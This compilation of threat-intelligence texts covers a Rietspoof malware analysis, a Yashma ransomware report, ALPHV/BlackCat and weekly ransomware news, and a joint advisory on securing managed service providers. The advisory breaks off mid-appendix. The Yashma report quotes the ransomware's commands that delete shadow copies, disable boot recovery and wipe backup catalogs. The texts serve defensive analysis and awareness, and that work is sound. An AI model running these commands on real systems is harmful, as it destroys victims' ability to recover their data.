Our blog post about the malware was published on 16 February 2019. A few hours later, we found the first completely redesigned Visual Basic script. The file size had been reduced and the script no longer contained a digital signature or any embedded file. Instead, the new VBS works as a bot that downloads and runs the next stage, and can also delete itself on command. At the beginning, information about the infected device is retrieved by the script. A simple GET request with device information is then used to establish communication with a C&C server.
## Stage 3: CAB File
This stage was eliminated in the latest version of the malware. The CAB file was used to reduce the size of embedded code inside the VBS. The CAB format has several nice features, e.g. it can easily be unpacked on Windows out of the box without any additional tooling. As mentioned previously, the CAB file is extracted into %TEMP% using expand.exe.
## Stage 4: Dropped Bot
We have seen two versions of the fourth stage of Rietspoof so far. They differ mostly in terms of the communication protocol. This stage has the capabilities of a simple bot: it can download/upload files, start processes, or initiate a self-destruct function. The C&C server also seems to have implemented basic geolocation based on IP address. We didn’t receive any ‘interesting’ commands when we tried to communicate with it from our lab network; however, when we moved our fake client (virtually) to the USA, we received a command containing the next stage.
We noticed that the development of this fourth stage is rapidly evolving, sometimes running two different branches at once. During our analysis, the communication protocol was modified several times and other new features were added. For example, string obfuscation was supported in earlier versions, implemented several days later, and then some changes were rolled back. Newer versions also support the command line switch used to install themselves as a service.
### Timeline
- 15 January: Obfuscation placeholders, communication protocol v1
- 18 January: Implemented obfuscation, service installation, communication protocol v2
- 22 January: Obfuscation scrapped, communication protocol v1
- 23 January: Obfuscation scrapped, communication protocol v1, service installation
If either the bot is blocked by geolocation or there is currently no ongoing distribution, the communication has a simple structure. The command HARDWARE is sent only if the sent client ID is seen for the first time. The command OK always results in termination of the communication. This simple protocol is executed periodically every several minutes.
### Communication Protocol v1
The first version of the fourth-stage communication uses a rather simplistic protocol. At first, a key and initialization vector are generated by a handshake that consists of a message and a response, both 32 random bytes, and a four-byte CRC32 checksum. Afterwards, the random bytes are XOR’ed together, and applying SHA256 on the result yields the key. Similarly, applying MD5 on the SHA256 digest yields the initialization vector. From now on, these parameters are used to encrypt messages by AES-CBC.
The communication starts with client_hello, a message simply containing “HELLO\n” that expects “HELLO\n” as a reply. Then, the client sends a command “ID:<MD5 of adapter MAC address>2.10\n”. The response OK, HARDWARE, or a more powerful command is received. In the former, the communication ends and the communication loop sleeps for two to five minutes. The response HARDWARE induces the request “HW:<OS info> CPU<CPU info> RAM: <RAM info> USER: <process privileges>”, with process privileges being either ‘admin’ or ‘user’. Again, after this message the response OK is received, similarly ending the communication.
One of six alternative commands may follow instead of OK:
- **DEL:** Delete file, the filename is prefixed with the location of %TEMP%
- **RUN:** Create process with the file as lpCommandLine, the filename is prefixed with the location of %TEMP%
- **DWN:** Download a file, if the filename has the suffix .upgrade then dump VBS update script which replaces the malware with a newer version
- **UPL:** Upload file from %TEMP%
- **DAR:** Download, save to %TEMP%/<filename> and execute
- **DSF:** Delete itself
### Communication Protocol v2
The second version of the fourth stage of Rietspoof also uses a rather similar protocol with a few new additions. The second version tries to communicate over HTTP/HTTPS unless a proxy is set up, in which case it resorts to raw TCP. This new version also eschews the initial handshake as it uses a hard-coded string instead of XOR’ing two random strings. Again, this string is put through SHA256, yielding a key, and SHA256 composed with MD5, yielding an initialization vector. These parameters are used to encrypt messages by AES-CBC.
The HTTP GET requests generated by the malware are more or less ordinary with the exception of three headers that may be present. An example of the HTTP request is below. Note that the Content-MD5 header is not mandatory; moreover, the Content-MD5 header is used in a custom and standard non-compliant way. Also, the User-agent string is hard coded in the binary.
```
GET /<path>?<GET data> HTTP/1.1
Host:<domain>
Connection:close
Content-MD5:<base64 encoded message>
User-agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1
```
Fortunately for us, the old protocol is still present for cases in which an HTTP proxy is used. We believe that this may serve as a protection against trivial man-in-the-middle attacks that could be utilized during analysis of the malware. However, in our case, it allows us to deploy a new tracking script with very few modifications, as only the key agreement protocol has been changed.
## Stage 5: Downloader
This stage tries to establish an authenticated channel through NTLM protocol over TCP with the C&C server, the IP address of which is hard coded. Afterwards, a communication with the C&C server over the aforementioned channel is established and two pipes are created.
The fileless process is created with the API function CreateProcessW. This API function’s attributes are filled with command line cmd and special structure StartupInfo. The attribute StartupInfo.hStdInput, a standard input handle for the created process, has the handle of the first pipe’s ReadPipe assigned. StartupInfo.hStdOutput and StartupInfo.hStdError, corresponding to the standard output handle and standard error output handle, have the handle of the second pipe’s WritePipe assigned. This allows the downloader to execute the next payload filelessly.
Therefore, the received data from the C&C server is written to the first pipe. This data is then read from the second pipe, which sends it back to the C&C server.
## Conclusion
The Rietspoof family was discovered in August 2018 and saw a significant increase in its activity during January 2019. During this time, the developer has used several valid and trusted certificates to sign related files. The payloads have also gone through rather rapid development, namely the implementation of the stage 4 communication protocol has been changed several times. While the data on Rietspoof is extensive, motives and modus operandi are still unknown, as are the intended targets.
From the reaction of Rietspoof’s authors to our blog post and posts on Twitter we can conjecture that they are monitoring security companies, or at least Twitter, as they completely changed the design and infection chain just the day after our blog post was released.
Our research hasn’t revealed whether we’ve uncovered the entire infection chain. Even though there are stages with bot capabilities, they seem to have primarily been designed as droppers. Additionally, the low prevalence and use of geolocation presents other possible unknowns. For instance, we may have missed other samples that are distributed only to a specific IP address range.
## References
1. Camastra, L.; Širmer, J.; Streda, A.; Obrdlík, L. We’re tracking a new cyberthreat that combines file formats to create a more versatile malware.
2. Well-known security identifiers in Windows operating systems. |
# Yashma Ransomware Report
**Date:** 2022-05-31
## Executive Summary
Yashma is a new ransomware seen in the wild since May 2022. This ransomware is the rebranded version of an earlier ransomware named Chaos, which has been in the wild since June 2021. After encryption, the Yashma ransomware drops a ransom note titled “read_it.txt” in each encrypted folder and on the desktop.
## Yashma Analysis
- **MD5:** 1063360427174b7e44ed747e6d78e034
- **File Type:** EXE
The ransomware is written in Basic.NET and is a 32-bit executable with a compiler timestamp of Wed May 18 11:06:18 2022. It checks for the country based on the current input language and will terminate if the country is Azerbaijan or Turkey.
The ransomware makes registry changes by adding a mutex to the current user registry. It starts execution and checks whether any other instance is already running; if yes, it will terminate itself. The ransomware then copies itself to the Appdata Roaming folder with the filename svchost.exe and sleeps for 200 milliseconds.
The ransomware deletes shadow copies and backups while also disabling recovery mode and task manager:
```
vssadmin delete shadows /all /quiet & wmic shadowcopy delete
bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
```
It stops a listing of backup services that are running in the background while the ransomware instance is active.
## File Encryption
The ransomware checks for valid extensions before encrypting files and excludes certain directories from encryption. It looks for drives to spread the ransomware over the network, moving laterally to infect other devices. The encryption is performed using the AES-256 encryption algorithm with a key size of 128 bits, and the password for encryption is randomly generated. The ransomware maintains persistence by modifying the registry and creating shortcuts. It changes the screensaver of the victim’s system to a .jpg image generated by the attacker with random characters.
## Key Differences
The major differences between the earlier version of Chaos and Yashma ransomware are as follows:
- The new version has hardcoded country names to prevent it from targeting certain geographies, detected based on the language setting on the user’s system.
- The earlier version of Chaos could only encrypt files up to 1MB in size and would destroy any file over this limit. However, Yashma can encrypt larger files.
## Conclusion
Yashma ransomware can be distributed using tactics like social engineering, phishing, spam email, and malicious attachments. It is based on the Chaos ransomware builder, which is still incomplete as it lacks features that newer ransomware possess, such as the ability to collect data from victims for further blackmail or deploy DDoS attacks to force victims into paying the ransom.
## TTPs based on MITRE ATT&CK Framework
| Sr No | Tactic | Technique |
|-------|-------------------------------------|------------------------------------------------|
| 1 | Discovery (TA0007) | T1016: System Network Configuration Discovery |
| | | T1083: File and Directory Discovery |
| | | T1135: Network Share Discovery |
| | | T1049: System Network Connections Discovery |
| 2 | Execution (TA0002) | T1106: Native API |
| | | T1059.003: Windows Command Shell |
| 3 | Persistence (TA0003) | T1547: Boot or Logon Auto-start Execution |
| 4 | Defensive Evasion (TA0005) | T1027: Obfuscated Files or Information |
| 5 | Collection (TA0009) | T1005: Data from Local System |
| 6 | Impact (TA0040) | T1486: Data Encrypted for impact |
| | | T1489: Service Stop |
| | | T1490: Inhibit System Recovery | |
# ALPHV/BlackCat Ransomware Family Becoming More Dangerous
Researchers from Symantec share fresh insight into the ongoing development of the ransomware-as-a-service family known variously as ALPHV, BlackCat, and Noberus.
The developer or developers behind the ransomware-as-a-service (RaaS) family known as ALPHV, BlackCat, and Noberus have been hard at work refining their tactics, techniques, and procedures (TTPs) and today are probably more dangerous than ever before, according to intelligence from Symantec.
The ALPHV/BlackCat/Noberus operation – which Symantec tracks as Coreid (aka FIN7, Carbon Spider) – is a major and long-established player in the wider family of Russia-linked or based ransomware crews and affiliates, many of which are related through a murky and often hard-to-decipher web of alliances and interconnections. It is known to date back at least a decade, when it established the use of a malware called Carbanak, but these days is more famous for its ransomware operation, with alleged links to the BlackMatter group, which in turn drew inspiration from the DarkSide operation that turned over Colonial Pipeline and possibly REvil.
The ALPHV/BlackCat/Noberus ransomware gained notoriety earlier in 2022 with a series of audacious heists targeting fuel logistics and transportation services operators in Europe, and on educational institutions in the US. The malware itself is coded in Rust, one of a group of multiplatform languages that are becoming increasingly valued by RaaS operators for its flexibility and ability to quickly and easily target both Windows and Linux environments.
Now, Symantec says it has observed a series of major updates to the ransomware and to Coreid’s overall modus operandi. “The continuous updating and refining of Noberus’ operations shows that Coreid is constantly adapting its ransomware operation to ensure it remains as effective as possible,” wrote Symantec’s team. “The FBI issued a warning in April 2022 saying that, between November 2021 and March 2022, at least 60 organisations worldwide had been compromised with the Noberus ransomware – the number of victims now is likely to be many multiples of that.”
A new update, which dropped in June 2022, included an ARM build to encrypt non-standard architectures and introduced a feature that adds new encryption functionality to its Windows build via rebooting into safe mode and safe mode with networking. It also updated the locker itself, adding new restart logic and simplifying the Linux encryption process. An additional update in July added indexing of stolen data, making the group’s data leak website(s) searchable by parameters including keywords and file types.
But the group did not stop there. In August, Symantec observed an updated version of the Exmatter data exfiltration tool being used alongside ALPHV/BlackCat/Noberus in attacks – this had previously been seen being used alongside the BlackMatter ransomware, which is designed to steal specific file types from selected directories and upload them to the attacker’s server prior to deployment of the ransomware.
As of this summer, Exmatter includes refinements to the types of files it steals, the addition of file transfer protocol (FTP) capabilities in addition to SFTP and WebDav, the ability to create reports listing processed files, the ability to corrupt them, and a self-destruct option, among other things. It has also been extensively rewritten, possibly in a bid to avoid detection.
One ALPHV/BlackCat/Noberus affiliate has also been observed using the Eamfo infostealer to target credentials stored by Veeam backup software – it does this by connecting to the Veeam SQL database and making a specific query, and may also have been used by LockBit and Yanluowang. Targeting Veeam for credential theft is an established technique that comes in handy from a malicious point of view because it enables privilege escalation and lateral movement, and therefore gives one more access to data to steal and encrypt.
“There’s no doubt that Coreid is one of the most dangerous and active ransomware developers operating at the moment,” wrote the Symantec team. “The group has been around since 2012 and became well-known for using its Carbanak malware to steal money from organisations worldwide, with the banking, hospitality, and retail sectors among its preferred targets. Three members of the group were arrested in 2018, and in 2020 the group changed its tactics and launched its ransomware-as-a-service operation. Its continuous development of its ransomware and its affiliate programs indicates that this sophisticated and well-resourced attacker has little intention of going anywhere anytime soon,” they said. |
# The Week in Ransomware - November 13th 2020
## Extortion gone wild
There were not many known large ransomware attacks this week, but we have seen ransomware operations evolving their tactics to extort their victims further.
The largest attack this week was against Taiwanese laptop maker Compal, who was hit by DoppelPaymer. The threat actors are demanding $17 million to receive a decryptor and not to leak stolen files.
Ransomware operations have also begun new tactics this week to pressure their victims into paying a ransom. After their attack on Campari, Ragnar Locker hacked a Facebook advertiser's account to run Facebook ads promoting their attack and threatening to release more data. Their strategy is to apply as much pressure as they can on the victim through public awareness in the hopes it will force them to pay the ransom.
Another new tactic announced by DarkSide is their plans to create a fault-tolerant distributed storage service based out of Iran or other "unrecognized republics." Their goal is to use this storage as a platform to leak victims' data for six months, and due to its distributed nature, if one server is shut down by law enforcement, the other servers will still be able to leak the data.
Otherwise, this week has been mostly new variants of existing ransomware families. Contributors and those who provided new ransomware information and stories this week include: @serghei, @malwrhunterteam, @jorntvdw, @PolarToffee, @VK_Intel, @Ionut_Ilascu, @demonslay335, @LawrenceAbrams, @struppigel, @FourOctets, @malwareforme, @Seifreed, @DanielGallagher, @fwosar, @BleepinComputer, @LukasZobal, @siri_urz, @JAMESWT_MHT, @Unit42_Intel, @briankrebs, @Kangxiaopao, @MsftSecIntel, @campuscodi, @Intel_by_KELA, @briankrebs, and @IntelAdvanced.
## November 7th 2020
### How Ryuk Ransomware operators made $34 million from one victim
One hacker group that is targeting high-revenue companies with Ryuk ransomware received $34 million from one victim in exchange for the decryption key that unlocked their computers.
### When Threat Actors Fly Under the Radar: Vatet, PyXie and Defray777
While researching these malware families, we found that there were several consistencies between Vatet, PyXie and Defray777 that strongly suggest that all three malware families were created, and are currently maintained by, the same financially motivated threat group.
## November 8th 2020
### Fake Microsoft Teams updates lead to Cobalt Strike deployment
Ransomware operators are using malicious fake ads for Microsoft Teams updates to infect systems with backdoors that deployed Cobalt Strike to compromise the rest of the network.
### New STOP ransomware variant
Michael Gillespie found a new STOP ransomware variant that appends the .agho extension to encrypted files.
### New Dusk 2 ransomware variant
Lukáš Zobal found the new Dusk 2 ransomware variant that appends the .DUSK extension to encrypted files and drops a ransom note named README.txt.
### Laptop maker Compal hit by ransomware, $17 million demanded
Taiwanese laptop maker Compal Electronics suffered a DoppelPaymer ransomware attack over the weekend, with the attackers demanding an almost $17 million ransom.
## November 10th 2020
### New HowAreYou Ransomware
S!ri found a new ransomware that appends the .howareyou extension to encrypted files.
### New AgeLocker ransomware variant
JAMESWT found a new AgeLocker ELF ransomware (targets QNAP devices) that adds the .kmd suffix to encrypted files.
## November 11th 2020
### Recent ransomware wave targeting Israel linked to Iranian threat actors
Two recent ransomware waves that targeted Israeli companies have been traced back to Iranian threat actors.
### New Devos Ransomware
xiaopao found a new ransomware that appends the .devos extension. This is different than Phobos, which also utilized this extension.
### Ransomware gang hacks Facebook account to run extortion ads
A ransomware group has now started to run Facebook advertisements to pressure victims to pay a ransom.
## November 12th 2020
### Steelcase furniture giant down for 2 weeks after ransomware attack
Office furniture giant Steelcase says that no information was stolen during a Ryuk ransomware attack that forced them to shut down global operations for roughly two weeks.
## November 13th 2020
### DarkSide ransomware is creating a secure data leak service in Iran
The DarkSide Ransomware operation claims they are creating a distributed storage system in Iran to store and leak data stolen from victims. To show they mean business, the ransomware gang has deposited $320 thousand on a hacker forum.
### CRAT wants to plunder your endpoints
Cisco Talos has recently discovered a new version of the CRAT malware family. This version consists of multiple RAT capabilities, additional plugins and a variety of detection-evasion techniques. In the past, CRAT has been attributed to the Lazarus Group, the malicious threat actors behind multiple cyber campaigns, including attacks against the entertainment sector.
### New STOP ransomware variant
Michael Gillespie found a new STOP ransomware variant that appends the .vvoa extension to encrypted files.
### LV Ransomware group appears to be using Revil software
Michael Gillespie found a ransomware group known as "LV" utilizing REvil software.
That's it for this week! Hope everyone has a nice weekend! |
# Protecting Against Cyber Threats to Managed Service Providers and their Customers
## Summary
The cybersecurity authorities of the United Kingdom (NCSC-UK), Australia (ACSC), Canada (CCCS), New Zealand (NCSC-NZ), and the United States (CISA, NSA, FBI) are aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers (MSPs) and expect this trend to continue. This joint Cybersecurity Advisory (CSA) provides actions MSPs and their customers can take to reduce their risk of falling victim to a cyber intrusion.
This advisory describes cybersecurity best practices for information and communications technology (ICT) services and functions, focusing on guidance that enables transparent discussions between MSPs and their customers on securing sensitive data. Organizations should implement these guidelines as appropriate to their unique environments, in accordance with their specific security needs, and in compliance with applicable regulations. MSP customers should verify that the contractual arrangements with their provider include cybersecurity measures in line with their particular security requirements.
The guidance provided in this advisory is specifically tailored for both MSPs and their customers and is the result of a collaborative effort from the United Kingdom National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), the United States' Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) with contributions from industry members of the Joint Cyber Defense Collaborative (JCDC).
Organizations should read this advisory in conjunction with NCSC-UK guidance on actions to take when the cyber threat is heightened, CCCS guidance on Cyber Security Considerations for Consumers of Managed Services, and CISA guidance provided on the Shields Up Technical Guidance webpages.
## Managed Service Providers
This advisory defines MSPs as entities that deliver, operate, or manage ICT services and functions for their customers via a contractual arrangement, such as a service level agreement. In addition to offering their own services, an MSP may offer services in conjunction with those of other providers. Offerings may include platform, software, and IT infrastructure services; business process and support functions; and cybersecurity services. MSPs typically manage these services and functions in their customer's network environment—either on the customer's premises or hosted in the MSP's data center.
Note: This advisory does not address guidance on cloud service providers (CSPs)—providers who handle the ICT needs of their customers via cloud services such as Software-as-a-Service, Platform-as-a-Service, and Infrastructure-as-a-Service; however, MSPs may offer these services as well.
MSPs provide services that usually require both trusted network connectivity and privileged access to and from customer systems. Many organizations—ranging from large critical infrastructure organizations to small- and mid-sized businesses—use MSPs to manage ICT systems, store data, or support sensitive processes. Many organizations make use of MSPs to scale and support network environments and processes without expanding their internal staff or having to develop the capabilities internally.
## Threat Actors Targeting MSP Access to Customer Networks
Whether the customer's network environment is on premises or externally hosted, threat actors can use a vulnerable MSP as an initial access vector to multiple victim networks, with globally cascading effects. The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities expect malicious cyber actors—including state-sponsored advanced persistent threat (APT) groups—to step up their targeting of MSPs in their efforts to exploit provider-customer network trust relationships. For example, threat actors successfully compromising an MSP could enable follow-on activity—such as ransomware and cyber espionage—against the MSP as well as across the MSP's customer base.
The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities have previously issued general guidance for MSPs and their customers. This advisory provides specific guidance to enable transparent, well-informed discussions between MSPs and their customers that center on securing sensitive information and data. These discussions should result in a re-evaluation of security processes and contractual commitments to accommodate customer risk tolerance. A shared commitment to security will reduce risk for both MSPs and their customers, as well as the global ICT community.
## Recommendations
### MSPs and their Customers
The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend MSPs and their customers implement the baseline security measures and operational controls listed in this section. Additionally, customers should ensure their contractual arrangements specify that their MSP implements these measures and controls.
1. **Prevent initial compromise.**
- In their efforts to compromise MSPs, malicious cyber actors exploit vulnerable devices and internet-facing services, conduct brute force attacks, and use phishing techniques. MSPs and their customers should ensure they are mitigating these attack methods. Useful mitigation resources on initial compromise attack methods are listed below:
- Improve security of vulnerable devices.
- Selecting and Hardening Remote Access VPN Solutions (CISA, NSA)
- Vulnerability Scanning Tools and Services (NCSC-UK)
- Protect internet-facing services.
- Protecting internet-facing services on public service Critical National Infrastructure (CNI) (NCSC-UK)
- Strategies for protecting web application systems against credential stuffing attacks (CCCS)
- Defend against brute force and password spraying.
- Microsoft update on brute force and password spraying activity (NCSC-UK)
- Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments (NSA, CISA, FBI, NCSC-UK)
- Defend against phishing.
- Phishing attacks: defending your organization (NCSC-UK)
- Spotting malicious email messages (CCCS)
2. **Enable/improve monitoring and logging processes.**
- It can be months before incidents are detected, so UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend all organizations store their most important logs for at least six months. Whether through a comprehensive security information and event management (SIEM) solution or discrete logging tools, implement and maintain a segregated logging regime to detect threats to networks. Organizations can refer to the following NCSC-UK guidance on the appropriate data to collect for security purposes and when to use it: What exactly should we be logging?
- Additionally, all organizations—whether through contractual arrangements with an MSP or on their own—should implement endpoint detection and network defense monitoring capabilities in addition to using application allowlisting/denylisting.
- MSPs should log the delivery infrastructure activities used to provide services to the customer. MSPs should also log both internal and customer network activity, as appropriate and contractually agreed upon.
- Customers should enable effective monitoring and logging of their systems. If customers choose to engage an MSP to perform monitoring and logging, they should ensure that their contractual arrangements require their MSP to:
- Implement comprehensive security event management that enables appropriate monitoring and logging of provider-managed customer systems.
- Provide visibility—as specified in the contractual arrangement—to customers of logging activities, including provider's presence, activities, and connections to the customer networks (Note: customers should ensure that MSP accounts are properly monitored and audited).
- Notify customers of confirmed or suspected security events and incidents occurring on the provider’s infrastructure and administrative networks, and send these to a security operations center (SOC) for analysis and triage.
3. **Enforce multifactor authentication (MFA).**
- Organizations should secure remote access applications and enforce MFA where possible to harden the infrastructure that enables access to networks and systems. Note: Russian state-sponsored APT actors have recently demonstrated the ability to exploit default MFA protocols; organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios.
- MSPs should recommend the adoption of MFA across all customer services and products. Note: MSPs should also implement MFA on all accounts that have access to customer environments and should treat those accounts as privileged.
- Customers should ensure that their contractual arrangements mandate the use of MFA on the services and products they receive. Contracts should also require MFA to be enforced on all MSP accounts used to access customer environments.
4. **Manage internal architecture risks and segregate internal networks.**
- Organizations should understand their environment and segregate their networks. Identify, group, and isolate critical business systems and apply appropriate network security controls to them to reduce the impact of a compromise across the organization.
- MSPs should review and verify all connections between internal systems, customer systems, and other networks. Segregate customer data sets (and services, where applicable) from each other—as well as from internal company networks—to limit the impact of a single vector of attack. Do not reuse admin credentials across multiple customers.
- Customers should review and verify all connections between internal systems, MSP systems, and other networks. Ensure management of identity providers and trusts between the different environments. Use a dedicated virtual private network (VPN) or alternative secure access method to connect to MSP infrastructure and limit all network traffic to and from the MSP to that dedicated secure connection. Verify that the networks used for trust relationships with MSPs are suitably segregated from the rest of their networks. Ensure contractual agreements specify that MSPs will not reuse admin credentials across multiple customers.
5. **Apply the principle of least privilege.**
- Organizations should apply the principle of least privilege throughout their network environment and immediately update privileges upon changes in administrative roles. Use a tiering model for administrative accounts so that these accounts do not have any unnecessary access or privileges. Only use accounts with full privileges across an enterprise when strictly necessary and consider the use of time-based privileges to further restrict their use. Identify high-risk devices, services, and users to minimize their accesses.
- MSPs should apply this principle to both internal and customer environments, avoiding default administrative privileges.
- Customers should ensure that their MSP applies this principle to both provider and customer network environments. Note: customers with contractual arrangements that provide them with administration of MSP accounts within their environment should ensure that the MSP accounts only have access to the services/resources being managed by the MSP.
6. **Deprecate obsolete accounts and infrastructure.**
- Both MSPs and customers should periodically review their internet attack surface and take steps to limit it, such as disabling user accounts when personnel transition. Note: although sharing accounts is not recommended, should an organization require this, passwords to shared accounts should be reset when personnel transition. Organizations should also audit their network infrastructure—paying particular attention to those on the MSP-customer boundary—to identify and disable unused systems and services. Port scanning tools and automated system inventories can assist organizations in confirming the roles and responsibilities of systems.
- Customers should be sure to disable MSP accounts that are no longer managing infrastructure. Note: disabling MSP accounts can be overlooked when a contract terminates.
7. **Apply updates.**
- Organizations should update software, including operating systems, applications, and firmware. Prioritize applying security updates to software containing known exploited vulnerabilities. Note: organizations should prioritize patching vulnerabilities included in CISA’s catalogue of known exploited vulnerabilities (KEV) as opposed to only those with high Common Vulnerability Scoring System (CVSS) scores that have not been exploited and may never be exploited.
- MSPs should implement updates on internal networks as quickly as possible.
- Customers should ensure that they understand their MSP's policy on software updates and request that comprehensive and timely updates are delivered as an ongoing service.
8. **Backup systems and data.**
- Organizations should regularly update and test backups—including “gold images” of critical systems in the event these need to be rebuilt. Note: organizations should base the frequency of backups on their recovery point objective. Store backups separately and isolate them from network connections that could enable the spread of ransomware; many ransomware variants attempt to find and encrypt/delete accessible backups. Isolating backups enables restoration of systems/data to their previous state should they be encrypted with ransomware. Note: best practices include storing backups separately, such as on external media.
- MSPs should regularly backup internal data as well as customer data (where contractually appropriate) and maintain offline backups encrypted with separate, offline encryption keys. Providers should encourage customers to create secure, offsite backups and exercise recovery capabilities.
- Customers should ensure that their contractual arrangements include backup services that meet their resilience and disaster recovery requirements. Specifically, customers should require their MSP to implement a backup solution that automatically and continuously backs up critical data and system configurations and store backups in an easily retrievable location, e.g., a cloud-based solution or a location that is air-gapped from the organizational network.
9. **Develop and exercise incident response and recovery plans.**
- Incident response and recovery plans should include roles and responsibilities for all organizational stakeholders, including executives, technical leads, and procurement officers. Organizations should maintain up-to-date hard copies of plans to ensure responders can access them should the network be inaccessible (e.g., due to a ransomware attack).
- MSPs should develop and regularly exercise internal incident response and recovery plans and encourage customers to do the same.
- Customers should ensure that their contractual arrangements include incident response and recovery plans that meet their resilience and disaster recovery requirements. Customers should ensure these plans are tested at regular intervals.
10. **Understand and proactively manage supply chain risk.**
- All organizations should proactively manage ICT supply chain risk across security, legal, and procurement groups, using risk assessments to identify and prioritize the allocation of resources.
- MSPs should understand their own supply chain risk and manage the cascading risks it poses to customers.
- Customers should understand the supply chain risk associated with their MSP, including risk associated with third-party vendors or subcontractors. Customers should also set clear network security expectations with their MSPs and understand the access their MSP has to their network and the data it houses. Each customer should ensure their contractual arrangements meet their specific security requirements and that their contract specifies whether the MSP or the customer owns specific responsibilities, such as hardening, detection, and incident response.
11. **Promote transparency.**
- Both MSPs and their customers will benefit from contractual arrangements that clearly define responsibilities.
- MSPs, when negotiating the terms of a contract with their customer, should provide clear explanations of the services the customer is purchasing, services the customer is not purchasing, and all contingencies for incident response and recovery.
- Customers should ensure that they have a thorough understanding of the security services their MSP is providing via the contractual arrangement and address any security requirements that fall outside the scope of the contract. Note: contracts should detail how and when MSPs notify the customer of an incident affecting the customer's environment.
12. **Manage account authentication and authorization.**
- All organizations should adhere to best practices for password and permission management. Organizations should review logs for unexplained failed authentication attempts—failed authentication attempts directly following an account password change could indicate that the account had been compromised. Note: network defenders can proactively search for such "intrusion canaries" by reviewing logs after performing password changes—using off-network communications to inform users of the changes—across all sensitive accounts.
- MSPs should verify that the customer restricts MSP account access to systems managed by the MSP.
- Customers should ensure MSP accounts are not assigned to internal administrator groups; instead, restrict MSP accounts to systems managed by the MSP. Grant access and administrative permissions on a need-to-know basis, using the principle of least privilege. Verify, via audits, that MSP accounts are being used for appropriate purposes and activities, and that these accounts are disabled when not actively being used.
## Purpose
This advisory was developed by UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
## Acknowledgements
The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities would like to acknowledge Secureworks for their contributions to this CSA.
## Disclaimer
The information in this report is being provided “as is” for informational purposes only. NCSC-UK, ACSC, CCCS, NCSC-NZ, CISA, NSA, and FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.
## Contact Information
United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. Australian organizations: visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at [email protected]. New Zealand organizations: report cyber security incidents to [email protected] or call 04 498 7654. U.S. organizations: all organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [email protected] or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact [email protected].
## Resources
In addition to the guidance referenced above, see the following resources:
- Joint CSA: Technical Approaches to Uncovering and Remediating Malicious Activity
- Joint CSA: 2021 Trends Show Increased Globalized Threat of Ransomware
- ACSC's Managed Service Providers: How to manage risk to customer networks
- CCCS:
- Cyber Security Considerations for Consumers of Managed Services
- Baseline Cyber Security Controls for Small and Medium Organizations
- Top 10 IT Security Action Items to Protect Internet Connected Networks and Information
- CCCS's Alert: Malicious Cyber Activity Targeting Managed Service Providers
- CISA:
- CISA Cybersecurity Alert: APT Activity Exploiting MSPs (2018)
- CISA Cyber Essentials and CISA Cyber Resource Hub
- FBI Internet Crime Complaint Center alerts on malicious and criminal cyber activity
- National Institute of Standards and Technology (NIST) National Cybersecurity Center of Excellence (NCCoE): Improving Cybersecurity of Managed Service Providers
## References
1. State of the Market: The New Threat Landscape, Pushing MSP security to the next level (N-able)
2. Global targeting of enterprises via managed service providers (NCSC-UK)
3. Guidance for MSPs and Small- and Mid-sized Businesses (CISA)
4. Kaseya Ransomware Attack: Guidance for Affected MSPs and their Customers (CISA)
5. APTs Targeting IT Service Provider Customers (CISA)
6. MSP Investigation Report (ACSC)
7. How to Manage Your Security When Engaging a Managed Service Provider
8. Supply Chain Cyber Security: In Safe Hands (NCSC-NZ)
9. Multi-factor authentication for online services (NCSC-UK)
10. Zero trust architecture design principles: MFA (NCSC-UK)
11. Joint CISA-FBI CSA: Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default MFA Protocols and “PrintNightmare” Vulnerability
12. Security architecture anti-patterns (NCSC-UK)
13. Preventing Lateral Movement (NCSC-UK)
14. Preventing Lateral Movement: Apply the principle of least privilege (NCSC-UK)
15. Device Security Guidance: Obsolete products (NCSC-UK)
16. Known Exploited Vulnerabilities Catalog (CISA)
## Appendix
This advisory's definition of MSPs aligns with the following definitions. The definition of MSP from Gartner's Information Technology Glossary—which is also referenced by NIST in the Improving Cybersecurity of Managed Service Providers—is:
A managed service provider (MSP) delivers services, such as network, application, infrastructure, and security, via ongoing and regular support and active administration on customers’ premises, in their MSP’s data center (hosting), or in a third-party data center. MSPs may deliver their own native services in conjunction with other providers’ services (for example, a security MSP providing sys admin on top of a third-party cloud IaaS). Pure-play MSPs focus on one vendor or technology, usually their own core offerings. Many MSPs include services from other types of providers. The term MSP traditionally was applied to infrastructure or device-centric types of services but has expanded to include any continuous, regular management, maintenance, and support.
The United Kingdom's Department of Digital, Culture, Media, and Sport (DCMS) recently published the following definition of MSP, which includes examples:
